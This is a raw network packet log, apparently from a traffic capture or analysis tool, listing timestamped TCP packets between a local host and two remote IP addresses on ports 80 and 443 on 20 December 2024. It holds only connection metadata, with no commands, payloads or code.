Dec 20, 2024 07:12:27.257312059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.257410049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.257455111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.257527113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.258450985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.258514881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.258557081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.258852959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.259638071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.259705067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.259772062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.259854078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.260843039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.260915995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.260931015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.261543989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.262012005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.262075901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.262151003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.262209892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.263227940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.263294935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.263353109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.263519049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.264430046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.264493942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.264556885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.264667034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.265634060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.265690088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.265789032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.265841007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.266766071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.266822100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.266887903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.266968012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.267998934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.268058062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.268131018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.268224955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.269215107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.269292116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.269315004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.269504070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.270355940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.270416975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.270525932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.270731926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.271548986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.271612883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.271680117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.272721052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.272780895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.272842884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.272892952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.273906946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.274008036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.274058104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.275101900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.275213003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.275285006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.276304007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.276364088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.276427031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.277461052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.277518034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.277581930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.278675079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.278753996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.278809071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.279902935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.279959917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.279978991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.281037092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.281100035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.281172991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.281526089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.282236099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.282515049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.282572985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.283471107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.283643007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.283690929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.284631968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.284745932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.284805059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.285799980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.285918951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.285970926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293253899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293289900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293324947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293349028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293375969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293379068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293426991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293459892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293494940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293520927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293531895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293545961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293566942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293579102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293615103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293618917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293653011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293667078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293688059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293703079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293725014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.293734074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.293776989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.295159101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.295260906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.295315027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.297049046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.297103882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.297137976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.297163963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.297173023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.297183990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.297226906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.297713041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.297827005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.297827959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.297873020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.298899889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.298969030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.299027920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.299087048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.300096035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.300158024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.300221920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.300276995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.301278114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.301388979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.301423073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.301446915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.302409887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.302589893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.432230949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.432291031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.432307959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.432379961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.432703972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.432951927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.433003902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.433124065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.433521032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.434187889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.434331894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.434382915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.435381889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.435436964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.435518026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.436352015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.436532021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.436664104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.436712980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.437740088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.437793970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.437844038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.438905954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.438954115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.439018011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.439811945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.440084934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.440216064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.440253019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.440274000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.441268921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.441340923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.441391945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.442466021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.442517996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.442595005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.442778111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.443675995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.443788052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.443840027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.444840908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.444891930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.444969893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.445267916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.446029902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.446139097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.446191072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.447204113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.447253942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.447268963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.448040009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.448436975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.448489904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.448542118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.449580908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.449632883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.449696064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.450786114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.450839043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.450882912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.450931072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.451972961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.452172995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.452224970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.453169107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.453272104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.453320026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.453519106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.454364061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.454500914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.454551935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.455569983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.455668926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.455704927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.455723047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.456763029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.456847906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.456897974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.457930088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.458019018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.458069086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.459214926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.459249973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.459266901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.459300041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.460284948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.460335970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.460553885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.461486101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.461523056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.461555004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.461601973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.461702108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.462775946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.462949038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.462997913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.463877916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.463932037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.463994026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.465058088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.465107918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.465177059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.465312004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.466310978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.466422081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.466471910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.467472076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.467525005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.467590094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.468643904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.468674898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.468741894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.468775034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.468797922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.469806910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.469964981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.470014095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.471004963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.471118927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.471169949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.472229004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.472325087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.472327948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.473412037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.473444939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.473469019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.473483086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.474203110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.474575043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.474728107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.474780083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.475778103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.475830078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.475888014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.476965904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.477016926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.477087975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.477159023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.478149891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.478244066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.478293896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.479361057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.479408979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.479464054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.479811907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.480524063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.480582952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.480631113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.480679989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.481697083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.481745958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.481812954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.481908083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.482903004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.482955933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.482975960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.483025074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.484103918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.484157085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.484239101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.484292984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.485286951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.485405922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.485452890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.486465931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.486588955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.486641884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.487709045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.487744093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.487756014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.487790108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.488862991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.488990068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.489041090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.490020990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.490149021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.490197897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.491214991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.491264105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.491345882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.492410898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.492463112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.492527008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.493522882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.493601084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.493680954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.493732929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.553668022 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:27.553797007 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:27.553996086 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:27.585922956 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:27.586005926 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:27.624744892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.624815941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.624835014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.624978065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.625067949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.625157118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.625210047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.626247883 CET	80	49801	31.41.244.11	192.168.2.4
